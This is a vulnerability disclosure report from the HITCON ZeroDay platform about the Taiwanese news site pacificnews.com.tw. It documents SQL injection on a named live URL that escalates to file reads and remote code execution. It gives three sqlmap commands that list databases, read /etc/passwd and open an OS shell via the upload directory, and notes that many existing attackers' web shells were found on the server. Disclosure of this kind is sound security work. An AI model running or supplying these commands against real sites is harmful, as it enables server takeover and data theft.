Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-00068
- Vendor: 太平洋新聞網
- Title: 太平洋新聞網 SQLi 、SQLi to LFI 、SQLi to RCE、被駭
- Introduction: SQLi 、SQLi to LFI 、SQLi to RCE、內有大量shell。
處理狀態
目前狀態
公開
Last Update : 2025/03/27
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2025/01/11 16:50:05 : 新提交 (由 {{萌新}} 更新此狀態)
- 2025/01/15 15:50:26 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/01/23 16:24:27 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/01/23 16:24:27 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/03/27 03:04:25 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-00068
- 通報者:nhd1261 ({{萌新}})
- 風險:嚴重
- 類型:遠端命令執行 (Remote Code Execution)
參考資料
攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://www.pacificnews.com.tw/info.php
http://www.pacificnews.com.tw/shownews.php?postnewsid=17&titleid=59800
http://www.pacificnews.com.tw/shownews.php?postnewsid=17&titleid=59800
敘述
phpinfo:
http://www.pacificnews.com.tw/info.php
網站參數添加單引號報錯,可以SQLi,並且資料庫權限過大,可以讀擋與在網站上傳目錄寫檔案。
Payload:
python sqlmap.py "http://www.pacificnews.com.tw/shownews.php?postnewsid=17&titleid=59800" --thread 10 --random-agent --batch --dbs
python sqlmap.py "http://www.pacificnews.com.tw/shownews.php?postnewsid=17&titleid=59800" --thread 10 --random-agent --batch --file-read "/etc/passwd"
python sqlmap.py "http://www.pacificnews.com.tw/shownews.php?postnewsid=17&titleid=59800" --thread 10 --random-agent --batch --os-shell --web-root "/var/www/html/uploadimg/"
getshell後發現目錄裡已經有很多shell了,想透過ls -l 檢查shell建立時間時,發現-l 無法使用,於是用which ls檢查,發現有部分命令已經被刪除或劫持,於是改用find . -name "*.php" -exec stat {} \; 看shell的詳細訊息,發現不同shell間時間跨度蠻大的,應該被入侵不只一次,我自己上傳的shell已經刪除。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。